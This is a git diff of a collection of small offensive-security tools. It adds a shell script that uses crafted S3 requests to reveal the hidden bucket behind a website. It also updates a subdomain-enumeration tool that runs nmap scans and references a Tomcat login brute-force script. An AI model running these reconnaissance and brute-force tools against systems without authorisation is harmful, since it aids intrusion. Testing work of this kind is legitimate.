diff --git a/.gitignore b/.gitignore index 2f890da..3dcfe31 100644 --- a/.gitignore +++ b/.gitignore @@ -1,17 +1,13 @@ .idea/ -sword/output.html -sword/output.txt +.vscode dev/ .DS_Store -cco.pyc pefdefs.pyc imports/*.pyc htmlanalyzer/index.html -sword/OUTPUT /dirscan/10000folders.txt /dirscan/1000folders.txt *.pyc *.log -.vscode - .history/ .env +vendor/ diff --git a/.pylintrc b/.pylintrc deleted file mode 100644 index 7b7a555..0000000 --- a/.pylintrc +++ /dev/null @@ -1,407 +0,0 @@ -[MASTER] - -# Specify a configuration file. -#rcfile= - -# Python code to execute, usually for sys.path manipulation such as -# pygtk.require(). -#init-hook= - -# Add files or directories to the blacklist. They should be base names, not -# paths. -ignore=CVS - -# Add files or directories matching the regex patterns to the blacklist. The -# regex matches against base names, not paths. -ignore-patterns= - -# Pickle collected data for later comparisons. -persistent=yes - -# List of plugins (as comma separated values of python modules names) to load, -# usually to register additional checkers. -load-plugins= - -# Use multiple processes to speed up Pylint. -jobs=1 - -# Allow loading of arbitrary C extensions. Extensions are imported into the -# active Python interpreter and may run arbitrary code. -unsafe-load-any-extension=no - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code -extension-pkg-whitelist= - -# Allow optimization of some AST trees. This will activate a peephole AST -# optimizer, which will apply various small optimizations. For instance, it can -# be used to obtain the result of joining multiple strings with the addition -# operator. Joining a lot of strings can lead to a maximum recursion error in -# Pylint and this flag can prevent that. It has one side effect, the resulting -# AST will be different than the one from reality. This option is deprecated -# and it will be removed in Pylint 2.0. -optimize-ast=no - - -[MESSAGES CONTROL] - -# Only show warnings with the listed confidence levels. Leave empty to show -# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED -confidence= - -# Enable the message, report, category or checker with the given id(s). You can -# either give multiple identifier separated by comma (,) or put this option -# multiple time (only on the command line, not in the configuration file where -# it should appear only once). See also the "--disable" option for examples. -#enable= - -# Disable the message, report, category or checker with the given id(s). You -# can either give multiple identifiers separated by comma (,) or put this -# option multiple times (only on the command line, not in the configuration -# file where it should appear only once).You can also use "--disable=all" to -# disable everything first and then reenable specific checks. For example, if -# you want to run only the similarities checker, you can use "--disable=all -# --enable=similarities". If you want to run only the classes checker, but have -# no Warning level messages displayed, use"--disable=all --enable=classes -# --disable=W" -disable=import-star-module-level,old-octal-literal,oct-method,print-statement,unpacking-in-except,parameter-unpacking,backtick,old-raise-syntax,old-ne-operator,long-suffix,dict-view-method,dict-iter-method,metaclass-assignment,next-method-called,raising-string,indexing-exception,raw_input-builtin,long-builtin,file-builtin,execfile-builtin,coerce-builtin,cmp-builtin,buffer-builtin,basestring-builtin,apply-builtin,filter-builtin-not-iterating,using-cmp-argument,useless-suppression,range-builtin-not-iterating,suppressed-message,no-absolute-import,old-division,cmp-method,reload-builtin,zip-builtin-not-iterating,intern-builtin,unichr-builtin,reduce-builtin,standarderror-builtin,unicode-builtin,xrange-builtin,coerce-method,delslice-method,getslice-method,setslice-method,input-builtin,round-builtin,hex-method,nonzero-method,map-builtin-not-iterating - - -[REPORTS] - -# Set the output format. Available formats are text, parseable, colorized, msvs -# (visual studio) and html. You can also give a reporter class, eg -# mypackage.mymodule.MyReporterClass. -output-format=text - -# Put messages in a separate file for each module / package specified on the -# command line instead of printing them on stdout. Reports (if any) will be -# written in a file name "pylint_global.[txt|html]". This option is deprecated -# and it will be removed in Pylint 2.0. -files-output=no - -# Tells whether to display a full report or only the messages -reports=yes - -# Python expression which should return a note less than 10 (10 is the highest -# note). You have access to the variables errors warning, statement which -# respectively contain the number of errors / warnings messages and the total -# number of statements analyzed. This is used by the global evaluation report -# (RP0004). -evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) - -# Template used to display messages. This is a python new-style format string -# used to format the message information. See doc for all details -#msg-template= - - -[BASIC] - -# Good variable names which should always be accepted, separated by a comma -good-names=i,j,k,ex,Run,_ - -# Bad variable names which should always be refused, separated by a comma -bad-names=foo,bar,baz,toto,tutu,tata - -# Colon-delimited sets of names that determine each other's naming style when -# the name regexes allow several styles. -name-group= - -# Include a hint for the correct naming format with invalid-name -include-naming-hint=no - -# List of decorators that produce properties, such as abc.abstractproperty. Add -# to this list to register other decorators that produce valid properties. -property-classes=abc.abstractproperty - -# Regular expression matching correct function names -function-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for function names -function-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct variable names -variable-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for variable names -variable-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct constant names -const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Naming hint for constant names -const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Regular expression matching correct attribute names -attr-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for attribute names -attr-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct argument names -argument-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for argument names -argument-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct class attribute names -class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Naming hint for class attribute names -class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Regular expression matching correct inline iteration names -inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ - -# Naming hint for inline iteration names -inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ - -# Regular expression matching correct class names -class-rgx=[A-Z_][a-zA-Z0-9]+$ - -# Naming hint for class names -class-name-hint=[A-Z_][a-zA-Z0-9]+$ - -# Regular expression matching correct module names -module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Naming hint for module names -module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Regular expression matching correct method names -method-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for method names -method-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression which should only match function or class names that do -# not require a docstring. -no-docstring-rgx=^_ - -# Minimum line length for functions/classes that require docstrings, shorter -# ones are exempt. -docstring-min-length=-1 - - -[ELIF] - -# Maximum number of nested blocks for function / method body -max-nested-blocks=5 - - -[FORMAT] - -# Maximum number of characters on a single line. -max-line-length=100 - -# Regexp for a line that is allowed to be longer than the limit. -ignore-long-lines=^\s*(# )??$ - -# Allow the body of an if to be on the same line as the test if there is no -# else. -single-line-if-stmt=no - -# List of optional constructs for which whitespace checking is disabled. `dict- -# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. -# `trailing-comma` allows a space between comma and closing bracket: (a, ). -# `empty-line` allows space-only lines. -no-space-check=trailing-comma,dict-separator - -# Maximum number of lines in a module -max-module-lines=1000 - -# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 -# tab). -indent-string=' ' - -# Number of spaces of indent required inside a hanging or continued line. -indent-after-paren=4 - -# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. -expected-line-ending-format= - - -[LOGGING] - -# Logging modules to check that the string format arguments are in logging -# function parameter format -logging-modules=logging - - -[MISCELLANEOUS] - -# List of note tags to take in consideration, separated by a comma. -notes=FIXME,XXX,TODO - - -[SIMILARITIES] - -# Minimum lines number of a similarity. -min-similarity-lines=4 - -# Ignore comments when computing similarities. -ignore-comments=yes - -# Ignore docstrings when computing similarities. -ignore-docstrings=yes - -# Ignore imports when computing similarities. -ignore-imports=no - - -[SPELLING] - -# Spelling dictionary name. Available dictionaries: none. To make it working -# install python-enchant package. -spelling-dict= - -# List of comma separated words that should not be checked. -spelling-ignore-words= - -# A path to a file that contains private dictionary; one word per line. -spelling-private-dict-file= - -# Tells whether to store unknown words to indicated private dictionary in -# --spelling-private-dict-file option instead of raising a message. -spelling-store-unknown-words=no - - -[TYPECHECK] - -# Tells whether missing members accessed in mixin class should be ignored. A -# mixin class is detected if its name ends with "mixin" (case insensitive). -ignore-mixin-members=yes - -# List of module names for which member attributes should not be checked -# (useful for modules/projects where namespaces are manipulated during runtime -# and thus existing member attributes cannot be deduced by static analysis. It -# supports qualified module names, as well as Unix pattern matching. -ignored-modules= - -# List of class names for which member attributes should not be checked (useful -# for classes with dynamically set attributes). This supports the use of -# qualified names. -ignored-classes=optparse.Values,thread._local,_thread._local - -# List of members which are set dynamically and missed by pylint inference -# system, and so shouldn't trigger E1101 when accessed. Python regular -# expressions are accepted. -generated-members= - -# List of decorators that produce context managers, such as -# contextlib.contextmanager. Add to this list to register other decorators that -# produce valid context managers. -contextmanager-decorators=contextlib.contextmanager - - -[VARIABLES] - -# Tells whether we should check for unused import in __init__ files. -init-import=no - -# A regular expression matching the name of dummy variables (i.e. expectedly -# not used). -dummy-variables-rgx=(_+[a-zA-Z0-9]*?$)|dummy - -# List of additional names supposed to be defined in builtins. Remember that -# you should avoid to define new builtins when possible. -additional-builtins= - -# List of strings which can identify a callback function by name. A callback -# name must start or end with one of those strings. -callbacks=cb_,_cb - -# List of qualified module names which can have objects that can redefine -# builtins. -redefining-builtins-modules=six.moves,future.builtins - - -[CLASSES] - -# List of method names used to declare (i.e. assign) instance attributes. -defining-attr-methods=__init__,__new__,setUp - -# List of valid names for the first argument in a class method. -valid-classmethod-first-arg=cls - -# List of valid names for the first argument in a metaclass class method. -valid-metaclass-classmethod-first-arg=mcs - -# List of member names, which should be excluded from the protected access -# warning. -exclude-protected=_asdict,_fields,_replace,_source,_make - - -[DESIGN] - -# Maximum number of arguments for function / method -max-args=5 - -# Argument names that match this expression will be ignored. Default to name -# with leading underscore -ignored-argument-names=_.* - -# Maximum number of locals for function / method body -max-locals=15 - -# Maximum number of return / yield for function / method body -max-returns=6 - -# Maximum number of branch for function / method body -max-branches=12 - -# Maximum number of statements in function / method body -max-statements=50 - -# Maximum number of parents for a class (see R0901). -max-parents=7 - -# Maximum number of attributes for a class (see R0902). -max-attributes=7 - -# Minimum number of public methods for a class (see R0903). -min-public-methods=2 - -# Maximum number of public methods for a class (see R0904). -max-public-methods=20 - -# Maximum number of boolean expressions in a if statement -max-bool-expr=5 - - -[IMPORTS] - -# Deprecated modules which should not be used, separated by a comma -deprecated-modules=regsub,TERMIOS,Bastion,rexec - -# Create a graph of every (i.e. internal and external) dependencies in the -# given file (report RP0402 must not be disabled) -import-graph= - -# Create a graph of external dependencies in the given file (report RP0402 must -# not be disabled) -ext-import-graph= - -# Create a graph of internal dependencies in the given file (report RP0402 must -# not be disabled) -int-import-graph= - -# Force import order to recognize a module as part of the standard -# compatibility libraries. -known-standard-library= - -# Force import order to recognize a module as part of a third party library. -known-third-party=enchant - -# Analyse import fallback blocks. This can be used to support both Python 2 and -# 3 compatible code, which means that the block might have code that exists -# only in one or another interpreter, leading to false positives when analysed. -analyse-fallback-blocks=no - - -[EXCEPTIONS] - -# Exceptions that will emit a warning when being caught. Defaults to -# "Exception" -overgeneral-exceptions=Exception diff --git a/.vscode/.ropeproject/config.py b/.vscode/.ropeproject/config.py deleted file mode 100644 index d1e8f3d..0000000 --- a/.vscode/.ropeproject/config.py +++ /dev/null @@ -1,100 +0,0 @@ -# The default ``config.py`` -# flake8: noqa - - -def set_prefs(prefs): - """This function is called before opening the project""" - - # Specify which files and folders to ignore in the project. - # Changes to ignored resources are not added to the history and - # VCSs. Also they are not returned in `Project.get_files()`. - # Note that ``?`` and ``*`` match all characters but slashes. - # '*.pyc': matches 'test.pyc' and 'pkg/test.pyc' - # 'mod*.pyc': matches 'test/mod1.pyc' but not 'mod/1.pyc' - # '.svn': matches 'pkg/.svn' and all of its children - # 'build/*.o': matches 'build/lib.o' but not 'build/sub/lib.o' - # 'build//*.o': matches 'build/lib.o' and 'build/sub/lib.o' - prefs['ignored_resources'] = ['*.pyc', '*~', '.ropeproject', - '.hg', '.svn', '_svn', '.git', '.tox'] - - # Specifies which files should be considered python files. It is - # useful when you have scripts inside your project. Only files - # ending with ``.py`` are considered to be python files by - # default. - #prefs['python_files'] = ['*.py'] - - # Custom source folders: By default rope searches the project - # for finding source folders (folders that should be searched - # for finding modules). You can add paths to that list. Note - # that rope guesses project source folders correctly most of the - # time; use this if you have any problems. - # The folders should be relative to project root and use '/' for - # separating folders regardless of the platform rope is running on. - # 'src/my_source_folder' for instance. - #prefs.add('source_folders', 'src') - - # You can extend python path for looking up modules - #prefs.add('python_path', '~/python/') - - # Should rope save object information or not. - prefs['save_objectdb'] = True - prefs['compress_objectdb'] = False - - # If `True`, rope analyzes each module when it is being saved. - prefs['automatic_soa'] = True - # The depth of calls to follow in static object analysis - prefs['soa_followed_calls'] = 0 - - # If `False` when running modules or unit tests "dynamic object - # analysis" is turned off. This makes them much faster. - prefs['perform_doa'] = True - - # Rope can check the validity of its object DB when running. - prefs['validate_objectdb'] = True - - # How many undos to hold? - prefs['max_history_items'] = 32 - - # Shows whether to save history across sessions. - prefs['save_history'] = True - prefs['compress_history'] = False - - # Set the number spaces used for indenting. According to - # :PEP:`8`, it is best to use 4 spaces. Since most of rope's - # unit-tests use 4 spaces it is more reliable, too. - prefs['indent_size'] = 4 - - # Builtin and c-extension modules that are allowed to be imported - # and inspected by rope. - prefs['extension_modules'] = [] - - # Add all standard c-extensions to extension_modules list. - prefs['import_dynload_stdmods'] = True - - # If `True` modules with syntax errors are considered to be empty. - # The default value is `False`; When `False` syntax errors raise - # `rope.base.exceptions.ModuleSyntaxError` exception. - prefs['ignore_syntax_errors'] = False - - # If `True`, rope ignores unresolvable imports. Otherwise, they - # appear in the importing namespace. - prefs['ignore_bad_imports'] = False - - # If `True`, rope will insert new module imports as - # `from import ` by default. - prefs['prefer_module_from_imports'] = False - - # If `True`, rope will transform a comma list of imports into - # multiple separate import statements when organizing - # imports. - prefs['split_imports'] = False - - # If `True`, rope will sort imports alphabetically by module name - # instead of alphabetically by import statement, with from imports - # after normal imports. - prefs['sort_imports_alphabetically'] = False - - -def project_opened(project): - """This function is called after opening the project""" - # Do whatever you like here! diff --git a/.vscode/.ropeproject/objectdb b/.vscode/.ropeproject/objectdb deleted file mode 100644 index a1fd398..0000000 Binary files a/.vscode/.ropeproject/objectdb and /dev/null differ diff --git a/README.md b/README.md index 4eec1a7..ba52965 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ security-tools ============== -Collection of simple security tools created in Python. +Small security related tools created in Python and Bash for CTF players, bug bounty hunters, pentesters and developers. diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py index 0f15823..b050d2e 100755 --- a/apache-tomcat-login-bruteforce.py +++ b/apache-tomcat-login-bruteforce.py @@ -102,7 +102,6 @@ 'demo:demo' ] - def brute(args): """ Iterate over login:password pairs from credentials array and send GET request to diff --git a/bucket-disclose.sh b/bucket-disclose.sh new file mode 100755 index 0000000..b0d834d --- /dev/null +++ b/bucket-disclose.sh @@ -0,0 +1,215 @@ +#!/bin/bash + +# Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, +# streaming and index listing as ways of figure it out. You do need a valid aws-key +# (never the secret) to properly get the error messages + +#### FORKED FROM https://gist.github.com/bl4de/35d5831e6eb4a29fe40626efbea7818e +#### Written by Frans Rosén (twitter.com/fransrosen) + + +_debug="$2" #turn on debug +_timeout="20" +#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key +_aws_key=$AWS_KEY + +H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3" +H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36" + +_log_file="./bucket-disclose.log" +_sed_bin=$(which gsed) +if [ "${_sed_bin}" == "" ]; then + _sed_bin=$(which sed) +fi + +_timeout_bin=$(which gtimeout) +if [ "${_timeout_bin}" == "" ]; then + _timeout_bin=$(which timeout) +fi + +r=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') #raw but without protocol +d=$(echo "$r" | cut -d "/" -f 1) #domain +pr=$(echo "$1" | ${_sed_bin} -E 's/(^[a-z]+:\/\/)?.*/\1/') #protocol, could be empty, use http if so +if [ "$pr" == "" ]; then pr="http://"; fi +pd="${pr}${d}" #protocol and domain always and only +u=$(echo "$1") #full url +p="${pr}$(echo "${r}" | rev | cut -d "/" -f 2- | rev)" # path without trailing slash (will be weird when bucket is in dir, but will be found later on) + +result() { + echo "$1" >> $_log_file + [ "$1" != "" ] && echo "$1" && exit 0; +} + +debug() { + echo "* $1" >> $_log_file + [ "$_debug" != "" ] && echo "* $1" +} + +is_bucket_already() { + _no_protocol=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') # function is reused after, make sure we clean up proto + _comp=$(echo "${_no_protocol}" | grep -vE "^[^:]*s3[^:]+amazonaws.*") #check if domain contains s3.*amazonaws.com + if [ "${_comp}" == "" ]; then + result $(echo "${_no_protocol}" | grep -E '^s3.*amazon[^/]+\/.*' | cut -d "/" -f 2) + result $(echo "${_no_protocol}" | grep -E '^[^:]+.s3.*amazon.*' | ${_sed_bin} -E 's/^([^\:]+).s3[^:]+amazon.*$/\1/'); + fi +} + +is_bucket() { + debug "checking if bucket: ${1}..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}" -sL -D- --insecure --max-time 5 | \ + grep -iE "^x-amz-error-code|^server: amazons3|AccessDenied|Code: AccessDenied|NoSuchKey") +} + +is_bucket_soap() { + debug "checking if bucket using soap... ${1}/soap" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/soap" -X POST -sL -D- --insecure --max-time 5 | \ + grep ">Missing SOAPAction header<") +} + +is_bucket_invalid_char() { + debug "checking if bucket using invalid char: ${1}/%83..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/%83" -sL -D- --insecure --max-time 5 | \ + grep -iE "InvalidURI|Code: InvalidURI|NoSuchKey") +} + +is_bucket_invalid_method() { + debug "checking if bucket using invalid method... ${1}/xyz" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/xyz" -X POSTX -sL -D- --insecure --max-time 5 | \ + grep "BadRequest") + if [ "${_response}" != "" ]; then + _response="${1}/xyz" + else + _response="" + fi +} + +is_bucket_listable() { + debug "checking if bucket is listable... ${1}/?abc" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/?abc" --insecure --max-time 5 | \ + grep "[^<]+" | cut -d ">" -f 2 | cut -d "<" -f 1) +} + +is_bucket_domain() { + debug "checking if domain exists as bucket: http://${1}.s3.amazonaws.com..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "http://${1}.s3.amazonaws.com" -sL --insecure --max-time 5 | grep -E "ListBucketResult|AccessDenied|PermanentRedirect") +} + +is_bucket_redirectable() { + debug "checking if url redirects to bucket... ${1}/xyzadad" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "$1/xyzadad" -D- | grep -i "^location:" | grep amazonaws | cut -d " " -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +is_redirecting() { + debug "check if URL redirects to other domain... ${1}" + _response=$(curl -Ls -o /dev/null -H "${H_ACCEPT}" -H "${H_AGENT}" -w %{url_effective} "${1}") + _od=$(echo "${1}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + _rd=$(echo "${_response}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + if [ "${_od}" == "${_rd}" ]; then + _response="" + fi +} + +bucket_unicode_sign_error() { + debug "checking unicode-error... ${1}/åäö" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/åäö" --insecure --max-time 5 | grep "host:" | grep "amazonaws.com" | cut -d ":" -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +bucket_post_sign_error() { + debug "checking post-error... ${1}/okok?456" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?456" -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_get_sign_error() { + debug "checking get-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X GET -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_put_sign_error() { + debug "checking put-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X PUT -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_multipart_sign_error() { + debug "checking multipart-error... ${1}/?789" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" --form "d=x" -X POST "${1}/?789" \ + -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_streaming_sign_error() { + debug "checking streaming sign-error... ${1}/ioioio?987" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/ioio?987" -sL -H \ + "Authorization: AWS4-HMAC-SHA256 Credential=${_aws_key}/20180101/ap-south-1/s3/aws4_request,SignedHeaders=date;host;x-amz-acl;x-amz-content-sha256;x-amz-date,Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -H \ + "x-amz-content-sha256: STREAMING-AWS4-HMAC-SHA256-PAYLOAD" | grep "" -A 1 | tail -n 1 | cut -d "/" -f 2) +} + +change_bucket_location() { + debug "changing location of bucket... ${1}" + p="$1" + _response="1" +} + +> $_log_file +debug "start checking... ${u}" +is_bucket_already "${r}" +is_bucket "${pd}" +[ "${_response}" == "" ] && is_bucket_soap "${pd}" +_is_root_bucket="${_response}" +_bucket_location="" + +if [ "${_is_root_bucket}" != "" ]; then + _bucket_location="${pd}" +else + is_bucket_soap "${p}" + [ "${_response}" == "" ] && is_bucket "${p}" + [ "${_response}" == "" ] && is_bucket "${p}/xyzabc" && change_bucket_location "${p}/xyzabc" + [ "${_response}" == "" ] && is_bucket_invalid_method "${p}" + [ "${_response}" == "" ] && is_bucket_invalid_char "${p}" + + if [ "${_response}" != "" ]; then + _bucket_location="${p}" + fi +fi + +if [ "${_bucket_location}" != "" ]; then + debug "bucket-location: ${_bucket_location}" + bucket_unicode_sign_error "${_bucket_location}" + result "${_response}" + bucket_streaming_sign_error "${_bucket_location}" + result "${_response}" + bucket_get_sign_error "${_bucket_location}" + result "${_response}" + bucket_post_sign_error "${_bucket_location}" + result "${_response}" + bucket_put_sign_error "${_bucket_location}" + result "${_response}" + bucket_multipart_sign_error "${_bucket_location}" #this one can bug out with fastly, since host is being different when POST + result "${_response}" + is_bucket_listable "${_bucket_location}" + result "${_response}" + is_bucket_redirectable "${_bucket_location}" + result "${_response}" +fi + +#if [ "${_is_root_bucket}" ]; then +is_bucket_domain "${d}" +[ "${_response}" != "" ] && result "${d}" +#fi + +is_redirecting "${pr}${r}" +[ "${_response}" != "" ] && bash $0 "${_response}" "$2" || debug "location is not a bucket: ${pr}${r} (${_bucket_location})" && exit 1 + +exit 0 diff --git a/chromium b/chromium deleted file mode 100755 index 5e907ef..0000000 --- a/chromium +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/bash -# -# see available options: -# http://peter.sh/experiments/chromium-command-line-switches/ -# -# 8080 - is a standard port for Burp - -# To disable XSS Auditor in Chromium simply put 0 as second argument, 1 leaves XSS Auditor enabled -# to enable auto opening DevTools, set 1 as a third argument - -echo -echo "Usage: chromium [port] [enable xss Auditor] [open DevTools for new tabs]" -echo " example:" -echo " $ chromium 8080 1 1 - runs Chromium listening on 8080, XSS Auditor enabled and DevTools open in new tab(s)" - -# default settings -xss_auditor="" -port="" -devtools="" - -if [ $1 -ne 80 ]; then - port="--proxy-server=127.0.0.1:$1" -fi - -if [ $2 == 0 ]; then - xss_auditor="--disable-xss-auditor" -fi - -if [ $3 == 1 ]; then - devtools="--auto-open-devtools-for-tabs" -fi - -# update those lines to your system specific path: -cd /Applications/Chromium.app/Contents/MacOS -echo "[+] running ./Chromium $port $xss_auditor $devtools" - -./Chromium $port $xss_auditor $devtools diff --git a/crawl.py b/crawl.py deleted file mode 100644 index 1b4fc55..0000000 --- a/crawl.py +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/python -import sys -import json -import requests -import argparse -from bs4 import BeautifulSoup - - -def results(file): - content = open(file, 'r').readlines() - for line in content: - data = json.loads(line.strip()) - urls = [] - for url in data['results']: - urls.append(url['url']) - return urls - - -def crawl(url): - r = requests.get(url) - soup = BeautifulSoup(r.text, 'lxml') - links = soup.findAll('a', href=True) - for link in links: - link = link['href'] - if link and link != '#': - print '[+] {} : {}'.format(url, link) - -if __name__ == "__main__": - parser = argparse.ArgumentParser() - parser.add_argument("file", help="ffuf results") - args = parser.parse_args() - urls = results(args.file) - - for url in urls: - crawl(url) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 4d6116b..da41757 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,15 +1,10 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python # pylint: disable=invalid-name """ @TODO - results summary -- disable/enable by HTTP Response Code (200/500/404/403/302) -- HTTP response headers - - """ - """ --- dENUMerator --- @@ -25,12 +20,14 @@ """ import argparse -import sys +import json import os import subprocess import time -import requests from datetime import datetime + +import requests + welcome = """ --- dENUMerator --- usage: @@ -43,27 +40,32 @@ "white": '\33[37m', 200: '\33[32m', 204: '\33[32m', + 206: '\33[32m', 301: '\33[33m', 302: '\33[33m', + 303: '\33[33m', 304: '\33[33m', - 302: '\33[33m', 401: '\33[94m', 403: '\33[94m', 404: '\33[94m', 405: '\33[94m', + 411: '\33[94m', + 412: '\33[94m', 415: '\33[94m', 422: '\33[94m', + 429: '\33[94m', 500: '\33[31m', "magenta": '\33[35m', "cyan": '\33[36m', "grey": '\33[90m', - "lightgrey": '\33[37m', - "lightblue": '\33[94' + "lightgrey": '\33[37m' } requests.packages.urllib3.disable_warnings() timeout = 2 -nmap = False +nmap = True +element_class_name_iterator = 1 + def usage(): """ @@ -85,6 +87,27 @@ def create_output_header(html_output): font-size: 12px; } + BODY { + margin:0px; + } + + DIV#header { + position: fixed; + padding-left: 30px; + top: 0px; + height:70px; + width: 100%; + background-color:#09a; + border-bottom:2px solid #ccc; + } + + DIV#container { + margin-top:100px; + width: 100%; + padding:10px; + text-align:center; + } + H4 { font-size: 14px; color: #777; @@ -100,24 +123,137 @@ def create_output_header(html_output): vertical-align: top; text-align: left; padding: 10px; - border-top: 12px solid #6e6f6f; + } + + TD.boundary { + border-top: 5px solid #6e6f6f; + border-bottom: 2px solid #6e6f6f; + padding-left: 20px; + background-color: #fafff4; + } + + .fold { + display: none; + } + + .unfold { + display: block; + background-color: #f9f9db; + } + + TR.visible { + display: block; + } + + TR.hidden { + display: none; + } + + A.toggle { + margin-left:30px; + font-size: 18px; + font-weight:bold; + cursor: pointer; + padding:5px 20px; + border:1px solid #dadede; + + border-radius: 10px; + } + + A.off { + background-color: #f1f1fa; + } + + A.on { + background-color: #c4f3c5; + } + + A.url { + font-weight: bold; + font-size:16px; + text-decoration:none; + margin-left: 120px; } - + + + + + +
+
""" html_output.write(html) return def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): + global element_class_name_iterator + screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' - screenshot_cmd = '/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --headless --user-agent="HackerOne" --dns-prefetch-disable --log-level=0 --timeout=30000 --screenshot={} '.format( + screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="HackerOne" --disable-gpu --dns-prefetch-disable --log-level=0 --timeout=30000 --virtual-time-budget=999999 --run-all-compositor-stages-before-draw --screenshot={} '.format( './reports/{}/'.format(output_directory) + screenshot_name) - + # os.system(screenshot_cmd + url) subprocess.run( screenshot_cmd + url, @@ -141,7 +277,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ ips = [ip for ip in ip_addresses.split(b"\n")] for ip in ips: if ip.find(b"address") > 0: - ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) + ip_html = ip_html + "

IP: {}

